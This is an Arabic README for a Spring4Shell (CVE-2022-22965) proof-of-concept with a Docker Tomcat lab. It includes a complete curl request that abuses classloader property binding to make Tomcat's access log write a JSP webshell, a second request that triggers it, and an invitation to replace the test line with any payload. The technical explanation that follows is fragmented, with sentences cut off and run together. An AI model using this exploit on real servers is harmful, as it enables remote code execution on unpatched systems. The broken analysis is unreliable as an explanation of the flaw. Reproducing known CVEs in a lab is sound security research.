
استغلال إثبات مفهوم لثغرة CVE-2022-22965 (Spring4Shell) يوضح تنفيذ الأوامر عن بُعد عبر معالجة Tomcat AccessLogValve. يتضمن بيئة إعادة إنتاج قائمة على Docker وتحليلًا تقنيًا مفصلاً.
مثال بسيط لكيفية إعادة إنتاج ثغرة CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp في webapps/handling-form-submission-complete على خادم الويب.شغّل خادم Tomcat في docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
أضف -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" إذا أردت التصحيح عن بُعد.
ابنِ المشروع
./mvnw install
انشر التطبيق
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
اكتب الاستغلال
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
سينشئ الاستغلال ملف rce.jsp في webapps/handling-form-submission-complete على خادم الويب.
استخدم الاستغلال
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
سترى الآن 123 في طرفية الحاوية. استبدل System.out.println(123) بحمولتك لتنفيذ أي كود تريده.
GreetingController مع طلبات POST على نقطة النهاية /greeting ويربط حقول النموذج بكائن Greeting.user.info.firstname). راجع AbstractNestablePropertyAccessor للمراجع.Greeting على حقلين id وcontent، لكنها في الواقع تحتوي أيضًا على مرجع إلى كائن Class. يمكننا استخدام class.module.classLoader كمفتاح لبيانات النموذج للوصول إلى محمّل الفئات (classloader).module.Greeting. لا شيء أكثر من ذلك. في معظم الحالات لا يكون الأمر خطيرًا حتى، لأنه لا تتوفر فئات ذات حقول عامة حتى من class.module.classLoader.getResources accessor الذي يسمح لنا بمواصلة سلسلة المراجع والوصول إلى أحد مثيلات فئة AccessLogValve.jsp في جذر مجلد التطبيق مع الحمولة الخبيثة. وبما أن ملفات jsp تُنفَّذ تلقائيًا بواسطة Tomcat، يمكننا الانتقال إليها في المتصفح وتنفيذ الحمولة في النهاية. عندها يصبح الأمر تنفيذًا عشوائيًا للأكواد (RCE).يعمل الاستغلال فقط على Tomcat لأنه يمتلك محمّل فئات خاصًا. على الرغم من أن سلسلة مراجع مماثلة قد تكون موجودة على خوادم تطبيقات ويب أخرى أيضًا، إلا أنه لم يتم اكتشافها ببساطة بعد.
يتطلب الاستغلال Java 9 أو أحدث لأن خاصية module أُضيفت في Java 9.